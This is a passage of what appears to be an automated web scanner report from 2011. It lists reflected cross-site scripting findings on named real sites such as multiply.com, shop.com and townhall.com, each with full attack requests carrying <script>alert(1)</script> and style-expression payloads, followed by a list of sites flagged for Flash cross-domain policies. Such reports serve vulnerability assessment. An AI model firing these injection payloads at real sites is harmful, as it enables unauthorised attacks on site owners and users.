User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: exp_last_visit=986389016; __utmz=90957184.1301752662.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); exp_last_activity=1301749027; exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A5%3A%22index%22%3B%7D; __utma=90957184.848604376.1301752662.1301752662.1301752662.1; __utmc=90957184; __utmb=90957184.3.9.1301752673281

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:00:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: exp_last_activity=1301749251; expires=Sun, 01-Apr-2012 14:00:51 GMT; path=/
Set-Cookie: exp_tracker=a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22%2Fcontact-us%2F%22%3Bi%3A1%3Bs%3A5%3A%22index%22%3B%7D; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 02 Apr 2011 14:00:51 GMT
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12351

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<META HTTP-EQUIV="Content-t
...[SNIP]...
<input type="hidden" id="00N300000055kEx" name="00N300000055kEx" title="Web-to-lead URL" value="KCOM Site - http://www.google.com/search?hl=en&q=4b99b"><script>alert(1)</script>ca9c0d3513d - ">
...[SNIP]...

6.113. http://www.canada.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.canada.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1d63'%3ba353fa99bdc was submitted in the REST URL parameter 1. This input was echoed as f1d63';a353fa99bdc in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /f1d63'%3ba353fa99bdc HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.canada.com
Accept: */*
Proxy-Connection: Keep-Alive

Response (redirected)

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/6.0
p3p: CP="CAO DSP LAW CUR ADMo DEVo PSAo IVAo IVDi CONi OUR SAMi LEG UNI NAV INT STA PHY ONL PUR PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: http://www2.canada.com/f1d63';a353fa99bdc/index.html
Content-Type: text/html; charset=utf-8
Expires: Sat, 02 Apr 2011 13:41:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 02 Apr 2011 13:41:32 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 3579

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://www2.canada.com/f1d63';a353fa99bdc/index.html">here</a>.</h2>
</body></html>
<form name="frmPage" method="po
...[SNIP]...
-
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName='/canada/www.canada.com/f1d63';a353fa99bdc/index.html';
s.server=window.location.hostname.toLowerCase();
s.channel='Canada';
s.pageType='';
s.p
...[SNIP]...

6.114. http://www.multiply.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.multiply.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49add"style%3d"x%3aexpression(alert(1))"0c2a6539db2 was submitted in the REST URL parameter 1. This input was echoed as 49add"style="x:expression(alert(1))"0c2a6539db2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico49add"style%3d"x%3aexpression(alert(1))"0c2a6539db2 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.multiply.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Sat, 02 Apr 2011 13:37:45 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX1832OFBpGXmYZEphWmxtBesEf7vWbDUBZQ49XYidYzK4w%3d%3d:iczp3haayzcooqqmczt3pjm; domain=multiply.com; path=/
Set-Cookie: session=1301751465:1301751465:1301751465:1::; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: initial_anon_referrer=; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: session=1301751465::1301751465:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Location: http://multiply.com/favicon.ico49add"style="x:expression(alert(1))"0c2a6539db2
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/html; charset=utf-8
X-Cache: MISS from multiply.com
Connection: close
Content-Length: 1245

HTTP/1.1 302 Found
Date: Sat, 02 Apr 2011 13:37:45 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX1832OFBpGXmYZEphWmxtBesEf7vWbDUBZQ49XYidYzK4w%3d%3d:iczp3haayzcooqqmcz
...[SNIP]...
<A HREF="http://multiply.com/favicon.ico49add"style="x:expression(alert(1))"0c2a6539db2">
...[SNIP]...

6.115. http://www.multiply.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.multiply.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ff3a1<script>alert(1)</script>1f3e33e8e25 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.icoff3a1<script>alert(1)</script>1f3e33e8e25 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.multiply.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Sat, 02 Apr 2011 13:37:45 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX18sHkOwl6s9LDVYxCCmwXWdqKgJOM5Lx-aN.bAm4s-ZzA%3d%3d:0bp8odaayycooqqmczt3pjm; domain=multiply.com; path=/
Set-Cookie: session=1301751465:1301751465:1301751465:1::; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: initial_anon_referrer=; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: session=1301751465::1301751465:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Location: http://multiply.com/favicon.icoff3a1<script>alert(1)</script>1f3e33e8e25
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/html; charset=utf-8
X-Cache: MISS from multiply.com
Connection: close
Content-Length: 1245

HTTP/1.1 302 Found
Date: Sat, 02 Apr 2011 13:37:45 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: uid=A:1:U2FsdGVkX18sHkOwl6s9LDVYxCCmwXWdqKgJOM5Lx-aN.bAm4s-ZzA%3d%3d:0bp8odaayycooqqmcz
...[SNIP]...
res=Tuesday, 29-Jul-2014 23:12:40 GMT
Set-Cookie: session=1301751465::1301751465:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Location: http://multiply.com/favicon.icoff3a1<script>alert(1)</script>1f3e33e8e25
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
...[SNIP]...

6.116. http://www.multiply.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.multiply.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1f694<script>alert(1)</script>3af9c4679e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?1f694<script>alert(1)</script>3af9c4679e8=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.multiply.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Sat, 02 Apr 2011 13:37:40 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Location: http://multiply.com/favicon.ico?1f694<script>alert(1)</script>3af9c4679e8=1
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/html; charset=utf-8
X-Cache: MISS from multiply.com
Connection: close
Content-Length: 757

HTTP/1.1 302 Found
Date: Sat, 02 Apr 2011 13:37:40 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
Location: http://multiply.com/favicon.ico?1f694<script>alert(1)</script>3af9c4679e8=1
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
...[SNIP]...

6.117. http://www.shop.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.shop.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91c6c"><script>alert(1)</script>c18b021cdc1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?91c6c"><script>alert(1)</script>c18b021cdc1=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shop.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Sat, 02 Apr 2011 13:41:31 GMT
Content-Type: text/html
Content-Length: 351
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?91c6c"><script>alert(1)</script>c18b021cdc1=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?91c6c"><script>alert(1)</script>c18b021cdc1=1">
</head>
<body><h1>Object Moved</h1>This docum
...[SNIP]...
<a href="http://edge.shop.com/ccimg.shop.com/web/favicon.ico?91c6c"><script>alert(1)</script>c18b021cdc1=1">
...[SNIP]...

6.118. http://www.shop.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.shop.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 5a1e2><script>alert(1)</script>0856dee6b4d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?5a1e2><script>alert(1)</script>0856dee6b4d=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shop.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Sat, 02 Apr 2011 13:41:31 GMT
Content-Type: text/html
Content-Length: 349
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?5a1e2><script>alert(1)</script>0856dee6b4d=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?5a1e2><script>alert(1)</script>0856dee6b4d=1">
</head>
<body><h1>Object Moved</h1>This docume
...[SNIP]...

6.119. http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.shopcompanion.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 9fa44><script>alert(1)</script>ab167bca6cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?9fa44><script>alert(1)</script>ab167bca6cd=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Sat, 02 Apr 2011 14:00:40 GMT
Content-Type: text/html
Content-Length: 349
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?9fa44><script>alert(1)</script>ab167bca6cd=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?9fa44><script>alert(1)</script>ab167bca6cd=1">
</head>
<body><h1>Object Moved</h1>This docume
...[SNIP]...

6.120. http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.shopcompanion.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd1a5"><script>alert(1)</script>df47f8a83f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?bd1a5"><script>alert(1)</script>df47f8a83f9=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Sat, 02 Apr 2011 14:00:40 GMT
Content-Type: text/html
Content-Length: 351
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?bd1a5"><script>alert(1)</script>df47f8a83f9=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?bd1a5"><script>alert(1)</script>df47f8a83f9=1">
</head>
<body><h1>Object Moved</h1>This docum
...[SNIP]...
<a href="http://edge.shop.com/ccimg.shop.com/web/favicon.ico?bd1a5"><script>alert(1)</script>df47f8a83f9=1">
...[SNIP]...

6.121. http://www.townhall.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.townhall.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 3412a<script>alert(1)</script>af689436fa3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?3412a<script>alert(1)</script>af689436fa3=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.townhall.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Server: Microsoft-IIS/6.0
Vary: Accept-Encoding
Cache-Control: no-cache
Content-Type: text/html
Date: Sat, 02 Apr 2011 14:05:57 GMT
Location: http://townhall.com/favicon.ico?3412a<script>alert(1)</script>af689436fa3=1
Pragma: no-cache
X-PoolName:
X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache"
Content-Length: 249

<html><body>The requested resource was moved. It could be found here: <a href="http://townhall.com/favicon.ico?3412a<script>alert(1)</script>af689436fa3=1">http://townhall.com/favicon.ico?3412a<script>alert(1)</script>af689436fa3=1</a>
...[SNIP]...

6.122. http://www.townhall.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.townhall.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39dc7"><script>alert(1)</script>63b1fa46103 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?39dc7"><script>alert(1)</script>63b1fa46103=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.townhall.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Server: Microsoft-IIS/6.0
Vary: Accept-Encoding
Cache-Control: no-cache
Content-Type: text/html
Date: Sat, 02 Apr 2011 14:05:57 GMT
Location: http://townhall.com/favicon.ico?39dc7"><script>alert(1)</script>63b1fa46103=1
Pragma: no-cache
X-PoolName:
X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache"
Content-Length: 253

<html><body>The requested resource was moved. It could be found here: <a href="http://townhall.com/favicon.ico?39dc7"><script>alert(1)</script>63b1fa46103=1">http://townhall.com/favicon.ico?39dc7"><sc
...[SNIP]...

7. Flash cross-domain policy previous next
There are 550 instances of this issue:

http://ad.doubleclick.net/crossdomain.xml
http://fls.doubleclick.net/crossdomain.xml
http://s0.2mdn.net/crossdomain.xml
http://smp.adviva.net/crossdomain.xml
http://www.43things.com/crossdomain.xml
http://www.about.com/crossdomain.xml
http://www.accesshollywood.com/crossdomain.xml
http://www.accuweather.com/crossdomain.xml
http://www.addictinggames.com/crossdomain.xml
http://www.adriver.ru/crossdomain.xml
http://www.ajc.com/crossdomain.xml
http://www.allvoices.com/crossdomain.xml
http://www.ally.com/crossdomain.xml
http://www.ancestry.com/crossdomain.xml
http://www.answerstv.com/crossdomain.xml
http://www.apartmenthomeliving.com/crossdomain.xml
http://www.apartments.com/crossdomain.xml
http://www.archive.org/crossdomain.xml
http://www.askmen.com/crossdomain.xml
http://www.atom.com/crossdomain.xml
http://www.babelgum.com/crossdomain.xml
http://www.biblegateway.com/crossdomain.xml
http://www.bigpoint.com/crossdomain.xml
http://www.bizjournals.com/crossdomain.xml
http://www.blackberry.com/crossdomain.xml
http://www.blogs.com/crossdomain.xml
http://www.bloomberg.com/crossdomain.xml
http://www.boostmobile.com/crossdomain.xml
http://www.bravotv.com/crossdomain.xml
http://www.break.com/crossdomain.xml
http://www.buzznet.com/crossdomain.xml
http://www.cafemom.com/crossdomain.xml
http://www.cbs.com/crossdomain.xml
http://www.cbsinteractive.com/crossdomain.xml
http://www.cbssports.com/crossdomain.xml
http://www.clear-request.com/crossdomain.xml
http://www.cmt.com/crossdomain.xml
http://www.colbertnation.com/crossdomain.xml
http://www.collegehumor.com/crossdomain.xml
http://www.comedycentral.com/crossdomain.xml
http://www.contactatonce.com/crossdomain.xml
http://www.cracked.com/crossdomain.xml
http://www.crackle.com/crossdomain.xml
http://www.craveonline.com/crossdomain.xml
http://www.curse.com/crossdomain.xml
http://www.daylife.com/crossdomain.xml
http://www.degrees.info/crossdomain.xml
http://www.docstoc.com/crossdomain.xml
http://www.doctoroz.com/crossdomain.xml
http://www.ebaumsworld.com/crossdomain.xml
http://www.education.com/crossdomain.xml
http://www.ehow.co.uk/crossdomain.xml
http://www.eventful.com/crossdomain.xml
http://www.everydayhealth.com/crossdomain.xml
http://www.evtv1.com/crossdomain.xml
http://www.ew.com/crossdomain.xml
http://www.ez-tracks.com/crossdomain.xml
http://www.flixster.com/crossdomain.xml
http://www.freeonlinegames.com/crossdomain.xml
http://www.g4tv.com/crossdomain.xml
http://www.gamerdna.com/crossdomain.xml
http://www.gamesradar.com/crossdomain.xml
http://www.gametrailers.com/crossdomain.xml
http://www.gourmandia.com/crossdomain.xml
http://www.greenwichmeantime.com/crossdomain.xml
http://www.groupon.com/crossdomain.xml
http://www.health.com/crossdomain.xml
http://www.hiconversion.com/crossdomain.xml
http://www.hodesiq.com/crossdomain.xml
http://www.hollywoodreporter.com/crossdomain.xml
http://www.howstuffworks.com/crossdomain.xml
http://www.huffingtonpost.com/crossdomain.xml
http://www.imagebam.com/crossdomain.xml
http://www.imageshack.us/crossdomain.xml
http://www.ingdirect.com/crossdomain.xml
http://www.instructables.com/crossdomain.xml
http://www.instyle.com/crossdomain.xml
http://www.intellicast.com/crossdomain.xml
http://www.kaboodle.com/crossdomain.xml
http://www.like.com/crossdomain.xml
http://www.liveleak.com/crossdomain.xml
http://www.manualsonline.com/crossdomain.xml
http://www.mapquest.com/crossdomain.xml
http://www.marthastewart.com/crossdomain.xml
http://www.mate1.net/crossdomain.xml
http://www.menshealth.com/crossdomain.xml
http://www.metacafe.com/crossdomain.xml
http://www.metrolyrics.com/crossdomain.xml
http://www.minorleaguebaseball.com/crossdomain.xml
http://www.mlb.com/crossdomain.xml
http://www.mmo-champion.com/crossdomain.xml
http://www.mtv.com/crossdomain.xml
http://www.myrecipes.com/crossdomain.xml
http://www.ncm.com/crossdomain.xml
http://www.newser.com/crossdomain.xml
http://www.newsok.com/crossdomain.xml
http://www.nickjr.com/crossdomain.xml
http://www.nola.com/crossdomain.xml
http://www.nydailynews.com/crossdomain.xml
http://www.oodle.com/crossdomain.xml
http://www.openforum.com/crossdomain.xml
http://www.opportunity.co/crossdomain.xml
http://www.outdoorchannel.com/crossdomain.xml
http://www.pcworld.com/crossdomain.xml
http://www.people.com/crossdomain.xml
http://www.peoplestylewatch.com/crossdomain.xml
http://www.pittsburghlive.com/crossdomain.xml
http://www.playfin.com/crossdomain.xml
http://www.pokerstars.com/crossdomain.xml
http://www.popularscreensavers.com/crossdomain.xml
http://www.rawtube.com/crossdomain.xml
http://www.realsimple.com/crossdomain.xml
http://www.redorbit.com/crossdomain.xml
http://www.scout.com/crossdomain.xml
http://www.sendspace.com/crossdomain.xml
http://www.sfgate.com/crossdomain.xml
http://www.sheknows.com/crossdomain.xml
http://www.shockwave.com/crossdomain.xml
http://www.slideshare.net/crossdomain.xml
http://www.spike.com/crossdomain.xml
http://www.sportsnetwork.com/crossdomain.xml
http://www.swagbucks.com/crossdomain.xml
http://www.syfy.com/crossdomain.xml
http://www.tampabay.com/crossdomain.xml
http://www.tastebook.com/crossdomain.xml
http://www.teennick.com/crossdomain.xml
http://www.terra.com/crossdomain.xml
http://www.thedailybeast.com/crossdomain.xml
http://www.thedailyshow.com/crossdomain.xml
http://www.theonion.com/crossdomain.xml
http://www.thisoldhouse.com/crossdomain.xml
http://www.time.com/crossdomain.xml
http://www.totalbeauty.com/crossdomain.xml
http://www.travelpod.com/crossdomain.xml
http://www.urbanspoon.com/crossdomain.xml
http://www.ustream.tv/crossdomain.xml
http://www.vh1.com/crossdomain.xml
http://www.videosurf.com/crossdomain.xml
http://www.weather.gov/crossdomain.xml
http://www.weatherbug.com/crossdomain.xml
http://www.webkinz.com/crossdomain.xml
http://www.webmd.com/crossdomain.xml
http://www.wix.com/crossdomain.xml
http://www.wowhead.com/crossdomain.xml
http://www.wunderground.com/crossdomain.xml
http://www.xanga.com/crossdomain.xml
http://www.yardbarker.com/crossdomain.xml
http://www.yfrog.com/crossdomain.xml
http://www.younghollywood.com/crossdomain.xml
http://www.yourfilehost.com/crossdomain.xml
http://www.zillow.com/crossdomain.xml
http://www.zoosnet.net/crossdomain.xml
http://www.zvents.com/crossdomain.xml
http://googleads.g.doubleclick.net/crossdomain.xml
http://pagead2.googlesyndication.com/crossdomain.xml
http://www.123greetings.com/crossdomain.xml
http://www.4shared.com/crossdomain.xml
http://www.4tubemate.com/crossdomain.xml
http://www.6pm.com/crossdomain.xml
http://www.acehardware.com/crossdomain.xml
http://www.adobe.com/crossdomain.xml
http://www.ae.com/crossdomain.xml
http://www.aeropostale.com/crossdomain.xml
http://www.allbusiness.com/crossdomain.xml
http://www.allposters.com/crossdomain.xml
http://www.allrecipes.com/crossdomain.xml
http://www.altavista.com/crossdomain.xml
http://www.amazon.co.uk/crossdomain.xml
http://www.americangreetings.com/crossdomain.xml
http://www.aolnews.com/crossdomain.xml
http://www.apple.com/crossdomain.xml
http://www.associatedcontent.com/crossdomain.xml
http://www.astrology.com/crossdomain.xml
http://www.att.com/crossdomain.xml
http://www.azcentral.com/crossdomain.xml
http://www.babiesrus.com/crossdomain.xml
http://www.babycenter.com/crossdomain.xml
http://www.barackobama.com/crossdomain.xml
http://www.barbie.com/crossdomain.xml
http://www.barnesandnoble.com/crossdomain.xml
http://www.bathandbodyworks.com/crossdomain.xml
http://www.bbc.co.uk/crossdomain.xml
http://www.bettycrocker.com/crossdomain.xml
